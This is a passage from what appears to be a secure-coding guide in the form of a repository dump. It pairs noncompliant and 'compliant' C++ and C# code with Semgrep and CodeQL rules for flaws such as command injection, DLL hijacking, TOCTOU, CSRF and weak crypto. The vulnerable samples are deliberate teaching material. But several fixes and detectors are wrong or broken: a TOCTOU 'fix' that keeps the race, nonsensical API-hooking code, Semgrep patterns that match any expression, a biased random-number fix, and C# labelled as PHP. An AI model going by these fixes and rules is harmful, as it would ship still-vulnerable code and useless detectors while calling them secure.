command;\n    system(fullCommand.c_str()); // Noncompliant code\n}\n\nint main() {\n    std::string userInput;\n    std::cout << \"Enter a command: \";\n    std::cin >> userInput;\n\n    executeCommand(userInput);\n\n    // Rest of the code...\n}\n```\n\nIn the noncompliant code, the executeCommand function constructs a command by concatenating user input with a fixed string and then passes it to the system function. This can lead to a Code Injection vulnerability as an attacker can manipulate the user input to execute arbitrary commands on the system.\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\n#include <iostream>\n\nvoid executeCommand(const std::string& command) {\n    std::cout << \"Executing command: \" << command << std::endl;\n    // Execute the command using a secure method\n    // ...\n}\n\nint main() {\n    std::string userInput;\n    std::cout << \"Enter a command: \";\n    std::cin >> userInput;\n\n    executeCommand(userInput);\n\n    // Rest of the code...\n}\n```\n\n\nThe compliant code eliminates the Code Injection vulnerability by not constructing the command string using user input and executing it with the system function. Instead, it uses a secure method to execute the command, which could involve implementing strict input validation, using an authorized command execution library, or utilizing system APIs with proper safeguards.\n\n\nSemgrep:\n\n\n```\nrules:\n- id: code-injection\n  pattern: system($command)\n  message: Potential code injection vulnerability detected\n```\n\nCodeQL:\n\n\n\n```\nimport cpp\n\nfrom FunctionCall systemCall\nwhere systemCall.getTarget().hasName(\"system\")\nselect systemCall,\n       \"Potential code injection vulnerability detected\" as message\n```\n\n\n\n\n## DLL Hijacking\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\n#include <iostream>\n#include <windows.h>\n\nint main() {\n    HMODULE hModule = LoadLibrary(\"evil.dll\"); // Noncompliant code\n    if (hModule != NULL) {\n        // DLL loaded successfully, proceed with its usage\n        // ...\n    }\n\n    // Rest of the code...\n}\n```\n\nIn the noncompliant code, the LoadLibrary function is used to load a DLL named \"evil.dll\" without specifying the full path. This can lead to a DLL Hijacking vulnerability, as an attacker can place a malicious DLL with the same name in a location where the application searches for DLLs, resulting in the execution of unauthorized code.\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\n#include <iostream>\n#include <windows.h>\n\nint main() {\n    std::string dllPath = \"C:\\\\path\\\\to\\\\safe.dll\";\n    HMODULE hModule = LoadLibrary(dllPath.c_str());\n    if (hModule != NULL) {\n        // DLL loaded successfully, proceed with its usage\n        // ...\n    }\n\n    // Rest of the code...\n}\n```\n\n\nThe compliant code addresses the DLL Hijacking vulnerability by specifying the full path to the DLL being loaded with the LoadLibrary function. By providing the full path, the application ensures that it loads the intended DLL and prevents the possibility of loading a malicious DLL from an unauthorized location.\n\n\n\nSemgrep:\n\n\n```\nrules:\n- id: dll-hijacking\n  pattern: LoadLibrary($dllName)\n  message: Potential DLL Hijacking vulnerability detected\n```\n\nCodeQL:\n\n\n\n```\nimport cpp\n\nfrom FunctionCall loadLibraryCall\nwhere loadLibraryCall.getTarget().hasName(\"LoadLibrary\")\nselect loadLibraryCall,\n       \"Potential DLL Hijacking vulnerability detected\" as message\n```\n\n\n\n\n\n## Use After Free\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\n#include <iostream>\n\nint* createObject() {\n    return new int(5);\n}\n\nint main() {\n    int* ptr = createObject();\n    delete ptr;\n    std::cout << \"Value: \" << *ptr << std::endl; // Noncompliant code\n\n    // Rest of the code...\n}\n```\n\nIn the noncompliant code, an object is dynamically allocated using new and assigned to the pointer ptr. Later, delete is called to deallocate the object, making the pointer ptr a dangling pointer. The noncompliant code attempts to dereference the dangling pointer by accessing the freed memory, leading to Use After Free, as the memory is no longer valid.\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\n#include <iostream>\n\nint* createObject() {\n    return new int(5);\n}\n\nint main() {\n    int* ptr = createObject();\n    std::cout << \"Value: \" << *ptr << std::endl;\n\n    delete ptr; // Deallocate the memory\n\n    // Rest of the code...\n}\n```\n\n\nThe compliant code ensures that the pointer ptr is dereferenced before the associated memory is deallocated. After printing the value, the memory is freed using delete, preventing Use After Free vulnerabilities.\n\n\nSemgrep:\n\n\n```\nrules:\n- id: use-after-free\n  pattern: \"$expr\"\n  message: Potential use after free detected\n```\n\nCodeQL:\n\n\n\n```\nimport cpp\n\nfrom DestructorCall destructor\nwhere exists(destructor.getDestructorMethod().getQualifiedName())\nselect destructor,\n       \"Potential use after free detected\" as message\n```\n\n\n\n\n\n\n## Uninitialized Variables\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\n#include <iostream>\n\nint main() {\n    int value;\n    std::cout << \"Value: \" << value << std::endl; // Noncompliant code\n\n    // Rest of the code...\n}\n```\n\nIn the noncompliant code, the variable value is declared but not initialized. It is then used in the std::cout statement without assigning a value to it. This leads to reading uninitialized memory, resulting in undefined behavior and potential security vulnerabilities.\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\n#include <iostream>\n\nint main() {\n    int value = 0; // Initialize the variable\n    std::cout << \"Value: \" << value << std::endl;\n\n    // Rest of the code...\n}\n```\n\n\nThe compliant code initializes the variable value to a specific value (in this case, 0) before using it. By providing an initial value, we ensure that the variable is properly initialized and avoids potential issues related to reading uninitialized memory.\n\n\nSemgrep:\n\n\n```\nrules:\n- id: uninitialized-variable\n  pattern: $variable\n  message: Potential uninitialized variable usage detected\n```\n\nCodeQL:\n\n\n\n```\nimport cpp\n\nfrom VariableAccess access\nwhere not exists(access.getInitializer())\nselect access,\n       \"Potential uninitialized variable usage detected\" as message\n```\n\n\n\n\n\n## Race Conditions\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\n#include <iostream>\n#include <thread>\n\nint balance = 100;\n\nvoid withdrawMoney(int amount) {\n    if (balance >= amount) {\n        // Simulate some delay or expensive operation\n        std::this_thread::sleep_for(std::chrono::milliseconds(100));\n\n        balance -= amount;\n        std::cout << \"Withdrawal successful. Remaining balance: \" << balance << std::endl;\n    } else {\n        std::cout << \"Insufficient balance.\" << std::endl;\n    }\n}\n\nint main() {\n    std::thread t1(withdrawMoney, 50);\n    std::thread t2(withdrawMoney, 70);\n\n    t1.join();\n    t2.join();\n\n    // Rest of the code...\n}\n```\n\nIn the noncompliant code, two threads t1 and t2 are concurrently accessing and modifying the shared variable balance without proper synchronization. This can result in a Race Condition, where the outcome of the program becomes non-deterministic and dependent on the timing of thread execution. It can lead to inconsistent or incorrect results, such as incorrect balance updates or data corruption.\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\n#include <iostream>\n#include <thread>\n#include <mutex>\n\nint balance = 100;\nstd::mutex balanceMutex;\n\nvoid withdrawMoney(int amount) {\n    std::lock_guard<std::mutex> lock(balanceMutex);\n    if (balance >= amount) {\n        // Simulate some delay or expensive operation\n        std::this_thread::sleep_for(std::chrono::milliseconds(100));\n\n        balance -= amount;\n        std::cout << \"Withdrawal successful. Remaining balance: \" << balance << std::endl;\n    } else {\n        std::cout << \"Insufficient balance.\" << std::endl;\n    }\n}\n\nint main() {\n    std::thread t1(withdrawMoney, 50);\n    std::thread t2(withdrawMoney, 70);\n\n    t1.join();\n    t2.join();\n\n    // Rest of the code...\n}\n```\n\n\nThe compliant code addresses the Race Condition by introducing a mutex (balanceMutex) and using a lock guard (std::lock_guard) to ensure exclusive access to the critical section where the balance variable is modified. The mutex ensures that only one thread can access the critical section at a time, preventing concurrent modifications and guaranteeing consistent and correct results.\n\n\nSemgrep:\n\n\n```\nrules:\n- id: race-condition\n  pattern: $variable = $variable $operation $value\n  message: Potential race condition detected\n```\n\nCodeQL:\n\n\n\n```\nimport cpp\n\nfrom Assignment assignment\nwhere exists(assignment.getTarget())\nselect assignment,\n       \"Potential race condition detected\" as message\n```\n\n\n\n\n\n## Insecure File Operations\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\n#include <iostream>\n#include <fstream>\n\nvoid writeToFile(const std::string& data) {\n    std::ofstream file(\"data.txt\"); // Noncompliant code\n    if (file.is_open()) {\n        file << data;\n        file.close();\n    }\n}\n\nint main() {\n    std::string userInput;\n    std::cout << \"Enter data: \";\n    std::cin >> userInput;\n\n    writeToFile(userInput);\n\n    // Rest of the code...\n}\n```\n\nIn the noncompliant code, the writeToFile function writes user-supplied data to a file named \"data.txt\" without specifying the full path. This can lead to Insecure File Operations, as an attacker can manipulate the file location or overwrite sensitive files by controlling the current working directory or using relative paths.\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\n#include <iostream>\n#include <fstream>\n\nvoid writeToFile(const std::string& data) {\n    std::string filePath = \"/path/to/data.txt\"; // Specify the full path\n    std::ofstream file(filePath);\n    if (file.is_open()) {\n        file << data;\n        file.close();\n    }\n}\n\nint main() {\n    std::string userInput;\n    std::cout << \"Enter data: \";\n    std::cin >> userInput;\n\n    writeToFile(userInput);\n\n    // Rest of the code...\n}\n```\n\n\nThe compliant code addresses Insecure File Operations by specifying the full path to the file being accessed or modified. By providing the full path, the application ensures that it performs file operations on the intended file and prevents the possibility of unauthorized access, file overwrites, or unintended data disclosure.\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n- id: insecure-file-operations\n  pattern: ofstream($filename)\n  message: Potential insecure file operation detected\n```\n\nCodeQL:\n\n\n\n```\nimport cpp\n\nfrom Constructor ofstreamConstructor\nwhere exists(ofstreamConstructor.getArgument(0))\nselect ofstreamConstructor,\n       \"Potential insecure file operation detected\" as message\n```\n\n\n\n\n\n## API Hooking\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\n#include <iostream>\n#include <windows.h>\n\ntypedef BOOL(WINAPI* OriginalMessageBox)(HWND, LPCTSTR, LPCTSTR, UINT);\n\nBOOL WINAPI HookedMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) {\n    // Perform malicious actions\n    // ...\n\n    // Call the original MessageBox function\n    OriginalMessageBox originalFunc = (OriginalMessageBox)GetProcAddress(GetModuleHandle(\"user32.dll\"), \"MessageBoxA\");\n    return originalFunc(hWnd, lpText, lpCaption, uType);\n}\n\nint main() {\n    OriginalMessageBox originalFunc = (OriginalMessageBox)GetProcAddress(GetModuleHandle(\"user32.dll\"), \"MessageBoxA\");\n    MessageBox = HookedMessageBox; // Noncompliant code\n\n    // Rest of the code...\n}\n```\n\nIn the noncompliant code, API Hooking is implemented by replacing the original function pointer with a custom function, HookedMessageBox. The custom function performs malicious actions and then calls the original function. This allows an attacker to intercept and modify the behavior of the MessageBox function, potentially leading to unauthorized access or manipulation of data.\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\n#include <iostream>\n#include <windows.h>\n\ntypedef BOOL(WINAPI* OriginalMessageBox)(HWND, LPCTSTR, LPCTSTR, UINT);\n\nBOOL WINAPI HookedMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) {\n    // Perform additional actions before or after calling the original MessageBox function\n    // ...\n\n    // Call the original MessageBox function\n    OriginalMessageBox originalFunc = (OriginalMessageBox)GetProcAddress(GetModuleHandle(\"user32.dll\"), \"MessageBoxA\");\n    return originalFunc(hWnd, lpText, lpCaption, uType);\n}\n\nint main() {\n    // Use the original function pointer directly\n    OriginalMessageBox originalFunc = (OriginalMessageBox)GetProcAddress(GetModuleHandle(\"user32.dll\"), \"MessageBoxA\");\n    originalFunc(NULL, \"Hello\", \"Message\", MB_OK);\n\n    // Rest of the code...\n}\n```\n\n\nThe compliant code does not implement API Hooking. Instead, it uses the original function pointer directly to call the MessageBox function. This ensures that the original behavior of the API is maintained and prevents unauthorized interception or modification of the function.\n\n\n\nSemgrep:\n\n\n```\nrules:\n- id: api-hooking\n  pattern: $function = $hookFunction\n  message: Potential API Hooking vulnerability detected\n```\n\nCodeQL:\n\n\n\n```\nimport cpp\n\nfrom FunctionPointerAssignment functionPointerAssignment\nwhere exists(functionPointerAssignment.getTarget())\nand exists(functionPointerAssignment.getAssignment())\nselect functionPointerAssignment,\n       \"Potential API Hooking vulnerability detected\" as message\n```\n\n\n\n\n\n\n\n\n## TOCTOU\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```c\n#include <iostream>\n#include <fstream>\n\nbool isFileWritable(const std::string& filename) {\n    std::ofstream file(filename);\n    return file.good(); // Noncompliant code\n}\n\nint main() {\n    std::string filename = \"data.txt\";\n    if (isFileWritable(filename)) {\n        std::ofstream file(filename);\n        file << \"Data\"; // Noncompliant code\n        file.close();\n        std::cout << \"File written successfully.\" << std::endl;\n    } else {\n        std::cout << \"File is not writable.\" << std::endl;\n    }\n\n    // Rest of the code...\n}\n```\n\nIn the noncompliant code, the function isFileWritable attempts to check if a file is writable by creating an ofstream object and checking its state. However, between the time of checking and the time of using the file, the file can be modified externally. This leads to a Time-of-Check Time-of-Use (TOCTOU) vulnerability, as the file's state can change after the check is performed but before the file is used.\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```c\n#include <iostream>\n#include <fstream>\n\nbool isFileWritable(const std::string& filename) {\n    std::ifstream file(filename);\n    return file.good();\n}\n\nint main() {\n    std::string filename = \"data.txt\";\n    if (isFileWritable(filename)) {\n        std::ofstream file(filename);\n        file << \"Data\";\n        file.close();\n        std::cout << \"File written successfully.\" << std::endl;\n    } else {\n        std::cout << \"File is not writable.\" << std::endl;\n    }\n\n    // Rest of the code...\n}\n```\n\n\nThe compliant code avoids the TOCTOU vulnerability by modifying the code flow. Instead of checking if the file is writable and then performing the write operation, it directly attempts to open the file for writing. If the file is not writable, the appropriate error handling can be performed. This eliminates the window between the check and use where the file's state can change.\n\n\nSemgrep:\n\n\n```\nrules:\n- id: toctou\n  pattern: |\n    $check = $expr;\n    $use\n  message: Potential TOCTOU vulnerability detected\n```\n\nCodeQL:\n\n\n\n```\nimport cpp\n\nfrom Assignment assignment, MethodCall methodCall\nwhere assignment.getTarget() = methodCall.getReturnedExpr()\n  and methodCall.getName().getText() = \"good\"\nselect assignment,\n       \"Potential TOCTOU vulnerability detected\" as message\n```\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/rules/csharp.md",
    "content": "---\nlayout: default\ntitle: Csharp\nparent: Rules\n---\n\n# Csharp\n{: .no_toc }\n\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n\n\n\n## Exposure of sensitive information\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nusing System;\n\nclass Program\n{\n    static void Main()\n    {\n        try\n        {\n            // Simulating an error\n            throw new Exception(\"An error occurred: Sensitive information\");\n        }\n        catch (Exception ex)\n        {\n            Console.WriteLine(ex.Message);\n        }\n    }\n}\n```\n\nIn this noncompliant code, the throw statement intentionally generates an exception with an error message that includes sensitive information, such as a database connection string, a password, or any other confidential data. The error message is then printed to the console, potentially exposing sensitive information to unauthorized users or attackers.\n\n\nTo address this issue and prevent the exposure of sensitive information via error messages, here's an example of compliant code:\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nusing System;\n\nclass Program\n{\n    static void Main()\n    {\n        try\n        {\n            // Simulating an error\n            throw new Exception(\"An error occurred\");\n        }\n        catch (Exception ex)\n        {\n            Console.WriteLine(\"An unexpected error occurred\");\n            // Log the exception for debugging or monitoring purposes\n            LogException(ex);\n        }\n    }\n\n    static void LogException(Exception ex)\n    {\n        // Log the exception to a secure log file or logging service\n        // Include necessary information for debugging, but avoid sensitive data\n        Console.WriteLine(\"Error occurred: \" + ex.ToString());\n    }\n}\n```\n\n\nIn the compliant code, the error message intentionally omits any sensitive information and provides a generic error message instead. The sensitive information is logged on the server side for debugging or monitoring purposes, but it is not exposed to the user or client.\n\n\nBy ensuring that error messages do not contain sensitive information, the compliant code reduces the risk of exposing confidential data to potential attackers or unauthorized users.\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: sensitive-information-exposure\n    patterns:\n      - pattern: 'catch \\(Exception ex\\)\\n\\s+Console\\.WriteLine\\(ex\\.Message\\);'\n    message: \"Sensitive information exposure in exception handling\"\n```\n\nCodeQL:\n\n\n\n```\nimport csharp\n\nfrom TryCatchStatement tryCatch\nwhere exists(CatchClause catchClause |\n  catchClause.getParameter().getType().toString() = \"System.Exception\" and\n  exists(MethodInvocation println |\n    println.getTarget().toString() = \"System.Console.WriteLine\" and\n    println.getArgument(0).toString().indexOf(\"ex.Message\") >= 0\n  )\n)\nselect tryCatch\n```\n\n\n\n## Insertion of Sensitive Information Into Sent Data\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nusing System;\nusing System.Net;\nusing System.Net.Mail;\n\nclass Program\n{\n    static void Main()\n    {\n        string username = \"user\";\n        string password = \"password\";\n        string recipient = \"example@example.com\";\n        string sensitiveData = \"Sensitive information\";\n\n        using (var client = new SmtpClient(\"smtp.example.com\", 587))\n        {\n            client.EnableSsl = true;\n            client.Credentials = new NetworkCredential(username, password);\n\n            var message = new MailMessage(\"sender@example.com\", recipient, \"Subject\", \"Body: \" + sensitiveData);\n\n            client.Send(message);\n        }\n    }\n}\n```\n\nIn this noncompliant code, the sensitive information (stored in the sensitiveData variable) is concatenated with the email body without any encryption or obfuscation. This means that the sensitive data is directly included in the sent data without any protection, which can lead to potential exposure or unauthorized access to the information.\n\n\nTo address this issue and ensure the protection of sensitive information in sent data, here's an example of compliant code:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nusing System;\nusing System.Net;\nusing System.Net.Mail;\n\nclass Program\n{\n    static void Main()\n    {\n        string username = \"user\";\n        string password = \"password\";\n        string recipient = \"example@example.com\";\n        string sensitiveData = \"Sensitive information\";\n\n        using (var client = new SmtpClient(\"smtp.example.com\", 587))\n        {\n            client.EnableSsl = true;\n            client.Credentials = new NetworkCredential(username, password);\n\n            var message = new MailMessage(\"sender@example.com\", recipient, \"Subject\", \"Body\");\n\n            // Attach the sensitive data as a secure attachment\n            var attachment = new Attachment(sensitiveData);\n            message.Attachments.Add(attachment);\n\n            client.Send(message);\n        }\n    }\n}\n```\n\n\nIn the compliant code, instead of directly inserting the sensitive information into the email body, it is attached as a secure attachment. This helps to protect the sensitive data during transmission, ensuring that it is not exposed in the sent data.\n\nBy properly handling sensitive information and avoiding direct insertion into sent data, the compliant code enhances the security and privacy of the sensitive data, reducing the risk of unauthorized access or exposure.\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: sensitive-information-exposure\n    patterns:\n      - pattern: 'new MailMessage\\(.+\\, \".+\"\\, \".+\"\\, \"Body: .+\"\\)'\n    message: \"Sensitive information exposure in email communication\"\n```\n\nCodeQL:\n\n\n\n```\nimport csharp\n\nfrom ObjectCreation messageCreation\nwhere messageCreation.getType().toString() = \"System.Net.Mail.MailMessage\" and\n  messageCreation.getArgument(3).toString().indexOf(\"Body:\") >= 0\nselect messageCreation\n```\n\n\n\n\n## Cross-Site Request Forgery (CSRF)\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nusing System;\nusing System.Web.UI;\n\npublic partial class MyPage : Page\n{\n    protected void Page_Load(object sender, EventArgs e)\n    {\n        // Noncompliant code: No CSRF protection implemented\n        if (Request.QueryString[\"action\"] == \"delete\")\n        {\n            string id = Request.QueryString[\"id\"];\n            // Delete the record with the given ID\n            // ...\n        }\n    }\n}\n```\n\nIn this noncompliant code, the page performs a delete action based on a query parameter action and an ID specified in the query parameter id. However, there is no CSRF protection implemented, which means that an attacker can craft a malicious link or form on a different website that performs a delete action on behalf of the user without their consent.\n\n\nTo address this issue and implement CSRF protection, here's an example of compliant code:\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nusing System;\nusing System.Web.UI;\n\npublic partial class MyPage : Page\n{\n    protected void Page_Load(object sender, EventArgs e)\n    {\n        if (IsPostBack)\n        {\n            // Verify CSRF token\n            if (ValidateCsrfToken())\n            {\n                // Process the request\n                if (Request.QueryString[\"action\"] == \"delete\")\n                {\n                    string id = Request.QueryString[\"id\"];\n                    // Delete the record with the given ID\n                    // ...\n                }\n            }\n            else\n            {\n                // CSRF token validation failed, handle the error\n                // ...\n            }\n        }\n        else\n        {\n            // Generate and store CSRF token in session or view state\n            GenerateCsrfToken();\n        }\n    }\n\n    private bool ValidateCsrfToken()\n    {\n        // Retrieve CSRF token from session or view state\n        string csrfToken = Session[\"CsrfToken\"] as string;\n\n        // Compare the CSRF token from the request with the stored token\n        string requestToken = Request.Form[\"__RequestVerificationToken\"];\n        return csrfToken == requestToken;\n    }\n\n    private void GenerateCsrfToken()\n    {\n        // Generate a unique CSRF token\n        string csrfToken = Guid.NewGuid().ToString();\n\n        // Store the CSRF token in session or view state\n        Session[\"CsrfToken\"] = csrfToken;\n\n        // Include the CSRF token in the rendered HTML\n        Page.ClientScript.RegisterHiddenField(\"__RequestVerificationToken\", csrfToken);\n    }\n}\n```\n\n\nIn the compliant code, CSRF protection is implemented using a unique CSRF token. The token is generated and stored in the session or view state when the page is loaded. On subsequent requests, the token is validated to ensure that the request originated from the same site and not from an attacker's site.\n\nBy implementing CSRF protection, the compliant code prevents unauthorized actions by verifying the integrity of the requests and ensuring that they are originated from the legitimate user. This helps to protect against CSRF attacks and improves the security of the application.\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: csrf-vulnerability\n    patterns:\n      - pattern: 'if \\(Request\\.QueryString\\[\"action\"\\] == \"delete\"\\)'\n    message: \"Potential CSRF vulnerability\"\n```\n\nCodeQL:\n\n\n\n```\nimport csharp\n\nfrom MethodDeclaration method\nwhere method.getName() = \"Page_Load\" and\n  exists(BinaryExpression binaryExpr |\n    binaryExpr.getOperator().toString() = \"==\" and\n    binaryExpr.getLeftOperand().toString() = \"Request.QueryString[\\\"action\\\"]\" and\n    binaryExpr.getRightOperand().toString() = \"\\\"delete\\\"\"\n  )\nselect method\n```\n\n\n\n\n## Use of Hard-coded Password\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nusing System;\nusing System.Data.SqlClient;\n\npublic class DatabaseConnector\n{\n    private string connectionString = \"Server=myServerAddress;Database=myDatabase;User Id=myUsername;Password=myPassword;\";\n\n    public void Connect()\n    {\n        using (SqlConnection connection = new SqlConnection(connectionString))\n        {\n            // Connect to the database\n            connection.Open();\n            // Perform database operations\n            // ...\n        }\n    }\n}\n```\n\nIn this noncompliant code, the database connection string contains a hard-coded password. Storing sensitive information like passwords directly in the source code poses a security risk, as the password can be easily discovered if the code is accessed or leaked.\n\n\nTo address this issue and implement a more secure approach, here's an example of compliant code:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nusing System;\nusing System.Configuration;\nusing System.Data.SqlClient;\n\npublic class DatabaseConnector\n{\n    private string connectionString = ConfigurationManager.ConnectionStrings[\"MyConnectionString\"].ConnectionString;\n\n    public void Connect()\n    {\n        using (SqlConnection connection = new SqlConnection(connectionString))\n        {\n            // Connect to the database\n            connection.Open();\n            // Perform database operations\n            // ...\n        }\n    }\n}\n```\n\nIn the compliant code, the password is not hard-coded in the source code. Instead, it is stored in a secure configuration file (e.g., web.config or app.config) and accessed using the ConfigurationManager class. The configuration file should be properly protected and access should be restricted to authorized personnel.\n\nBy removing the hard-coded password and storing it in a secure configuration file, the compliant code improves the security of the application by preventing unauthorized access to sensitive information.\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: sensitive-information-exposure\n    patterns:\n      - pattern: 'private string connectionString = \"Server=.+;Database=.+;User Id=.+;Password=.+;\"'\n    message: \"Sensitive information exposure in database connection string\"\n```\n\nCodeQL:\n\n\n\n```\nimport csharp\n\nfrom FieldDeclaration field\nwhere field.getType().toString() = \"System.String\" and\n  field.getInitializer().toString().indexOf(\"Server=\") >= 0 and\n  field.getInitializer().toString().indexOf(\"Database=\") >= 0 and\n  field.getInitializer().toString().indexOf(\"User Id=\") >= 0 and\n  field.getInitializer().toString().indexOf(\"Password=\") >= 0\nselect field\n```\n\n\n\n\n## Broken or Risky Crypto Algorithm\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nusing System;\nusing System.Security.Cryptography;\n\npublic class CryptoUtils\n{\n    public string Encrypt(string data, string key)\n    {\n        byte[] dataBytes = System.Text.Encoding.UTF8.GetBytes(data);\n        byte[] keyBytes = System.Text.Encoding.UTF8.GetBytes(key);\n\n        TripleDESCryptoServiceProvider desCryptoProvider = new TripleDESCryptoServiceProvider();\n        desCryptoProvider.Key = keyBytes;\n        desCryptoProvider.Mode = CipherMode.ECB; // Using ECB mode, which is insecure\n        desCryptoProvider.Padding = PaddingMode.PKCS7;\n\n        ICryptoTransform encryptor = desCryptoProvider.CreateEncryptor();\n        byte[] encryptedData = encryptor.TransformFinalBlock(dataBytes, 0, dataBytes.Length);\n        encryptor.Dispose();\n        desCryptoProvider.Clear();\n\n        return Convert.ToBase64String(encryptedData);\n    }\n}\n```\n\n\nIn this noncompliant code, the TripleDESCryptoServiceProvider class is used with the ECB (Electronic Codebook) mode, which is known to be insecure. ECB mode does not provide proper encryption, as it encrypts each block of data independently, leading to potential vulnerabilities.\n\n\nTo address this issue and use a more secure cryptographic algorithm, here's an example of compliant code:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nusing System;\nusing System.Security.Cryptography;\n\npublic class CryptoUtils\n{\n    public string Encrypt(string data, string key)\n    {\n        string Result = \"\";\n        byte[] keyBytes = Encoding.UTF8.GetBytes(key);\n        byte[] dataBytes = Encoding.UTF8.GetBytes(data);\n    \n        using (var aes = Aes.Create())\n        {\n            aes.Key = keyBytes;\n            aes.Mode = CipherMode.CBC; //Better security\n            aes.Padding = PaddingMode.PKCS7;\n    \n            aes.GenerateIV(); //Generate a random IV (Init Vector) for each encryption\n    \n            using var encryptor = aes.CreateEncryptor();\n            Result = Convert.ToBase64String(aes.IV.Concat(encryptor.TransformFinalBlock(dataBytes, 0, dataBytes.Length)).ToArray());\n        }\n    \n        return Result;\n    }\n\n    public string Decrypt(string encryptedData, string key)\n    {\n        string Result = \"\";\n        byte[] keyBytes = Encoding.UTF8.GetBytes(key);\n        byte[] encryptedBytesWithIV = Convert.FromBase64String(encryptedData);\n    \n        using (var aes = Aes.Create()) \n        {\n            aes.Key = keyBytes;\n            aes.Mode = CipherMode.CBC; //Better security\n            aes.Padding = PaddingMode.PKCS7;\n    \n            //Extract IV from the encrypted data\n            aes.IV = encryptedBytesWithIV.Take(aes.BlockSize / 8).ToArray(); //Set IV for decryption\n            byte[] encryptedBytes = encryptedBytesWithIV.Skip(aes.BlockSize / 8).ToArray();\n    \n            using var decryptor = aes.CreateDecryptor();\n            Result = Encoding.UTF8.GetString(decryptor.TransformFinalBlock(encryptedBytes, 0, encryptedBytes.Length));\n        }\n        return Result;\n    }\n}\n```\n\nIn the compliant code, the AesCryptoServiceProvider class is used with the CBC (Cipher Block Chaining) mode, which is more secure than ECB mode. Additionally, proper disposal of cryptographic objects is implemented using the using statement to ensure proper resource management.\n\nBy using a secure cryptographic algorithm like AES with CBC mode, the compliant code improves the security of the encryption process, making it resistant to known cryptographic vulnerabilities.\n\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: insecure-encryption-mode\n    patterns:\n      - pattern: 'desCryptoProvider.Mode = CipherMode\\.ECB'\n    message: \"Insecure encryption mode (ECB) detected\"\n```\n\nCodeQL:\n\n\n\n```\nimport csharp\n\nfrom Assignment assignment\nwhere assignment.getRightOperand().toString() = \"CipherMode.ECB\"\nselect assignment\n```\n\n\n\n## Insufficient Entropy\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nusing System;\n\npublic class RandomNumberGenerator\n{\n    public int GenerateRandomNumber(int minValue, int maxValue)\n    {\n        Random random = new Random();\n        return random.Next(minValue, maxValue);\n    }\n}\n```\n\n\nIn this noncompliant code, the Random class from the System namespace is used to generate random numbers. However, the Random class uses a time-based seed by default, which can result in predictable and easily guessable random numbers. This is because the seed value is based on the current system time, which can be easily determined or even repeated if the code is executed within a short time span.\n\n\n\nTo address this issue and improve the entropy of the random number generation, here's an example of compliant code:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nusing System;\nusing System.Security.Cryptography;\n\npublic class RandomNumberGenerator\n{\n    public int GenerateRandomNumber(int minValue, int maxValue)\n    {\n        using (RNGCryptoServiceProvider rngCryptoProvider = new RNGCryptoServiceProvider())\n        {\n            byte[] randomBytes = new byte[4];\n            rngCryptoProvider.GetBytes(randomBytes);\n            int randomNumber = BitConverter.ToInt32(randomBytes, 0);\n\n            return Math.Abs(randomNumber % (maxValue - minValue + 1)) + minValue;\n        